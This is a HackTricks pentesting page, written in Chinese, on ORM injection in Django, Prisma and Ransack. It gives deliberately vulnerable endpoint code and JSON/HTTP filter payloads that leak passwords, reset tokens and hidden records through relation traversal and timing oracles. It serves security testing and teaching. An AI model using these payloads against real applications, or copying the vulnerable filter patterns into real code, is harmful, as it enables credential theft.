hacktricks/src/pentesting-web/orm-injection.md

304 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ORM Injection
{{#include ../banners/hacktricks-training.md}}
## Django ORM (Python)
在[**这篇文章**](https://www.elttam.com/blog/plormbing-your-django-orm/)中解释了如何通过使用例如以下代码使Django ORM变得脆弱
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
一些基本的API视图用户向其发送请求以
搜索文章
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
注意所有的request.data这将是一个json是直接传递给**从数据库中过滤对象**的。攻击者可以发送意外的过滤器,以泄露比预期更多的数据。
示例:
- **登录:** 在简单的登录中尝试泄露注册用户的密码。
```json
{
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> 可能会通过暴力破解密码直到其泄露。
- **关系过滤**可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如如果可以泄露由用户创建的文章具有以下关系Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
```json
{
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> 可能会找到所有创建了文章的用户的密码
- **多对多关系过滤**在前面的例子中我们无法找到没有创建文章的用户的密码。然而遵循其他关系这是可能的。例如Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> 在这种情况下我们可以找到所有在创建文章的用户部门中的用户然后泄露他们的密码在之前的json中我们只是泄露了用户名但随后可以泄露密码
- **滥用Django组和权限的多对多关系与用户**此外AbstractUser模型用于在Django中生成用户默认情况下该模型与权限和组表具有一些**多对多关系**。这基本上是**从一个用户访问其他用户**的默认方式,如果他们在**同一组或共享相同权限**。
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **绕过过滤限制**: 同一篇博客文章建议绕过某些过滤的使用,例如 `articles = Article.objects.filter(is_secret=False, **request.data)`。可以转储 is_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is_secret 字段,而数据是从秘密文章中泄露的。
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> 滥用关系可以绕过即使是旨在保护所显示数据的过滤器。
- **基于错误/时间的 ReDoS**:在之前的示例中,期望在过滤器工作与否时有不同的响应,以此作为神谕。但也可能在数据库中执行某些操作时,响应始终相同。在这种情况下,可以使数据库出错以获取新的神谕。
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
从同一篇关于此向量的帖子中:
- **SQLite**:默认情况下没有正则表达式操作符(需要加载第三方扩展)
- **PostgreSQL**:没有默认的正则表达式超时,并且不太容易回溯
- **MariaDB**:没有正则表达式超时
## Prisma ORM (NodeJS)
以下是[**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。
- **完全查找控制**
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// 攻击者对所有 prisma 选项拥有完全控制
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。
在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **完全的 where 子句控制**
让我们看看攻击者如何控制 `where` 子句:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // 易受 ORM 泄漏影响
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
可以直接过滤用户的密码,例如:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> 使用像 `startsWith` 这样的操作可能会泄露信息。
- **多对多关系过滤绕过过滤:**
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
可以通过回溯 `Category` -\[\*..\*]-> `Article` 之间的多对多关系来泄露未发布的文章:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
也可以通过滥用某些循环回路的多对多关系来泄露所有用户:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **错误/定时查询**:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
`{CONTAINS_LIST}` 中是一个包含 1000 个字符串的列表,以确保 **在找到正确的 leak 时响应会延迟。**
## **Ransack (Ruby)**
这些技巧在 [**这篇文章中发现**](https://positive.security/blog/ransack-data-exfiltration)**。**
> [!TIP]
> **请注意Ransack 4.0.0.0 现在强制使用显式允许列表来进行可搜索的属性和关联。**
**脆弱示例:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。
## References
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}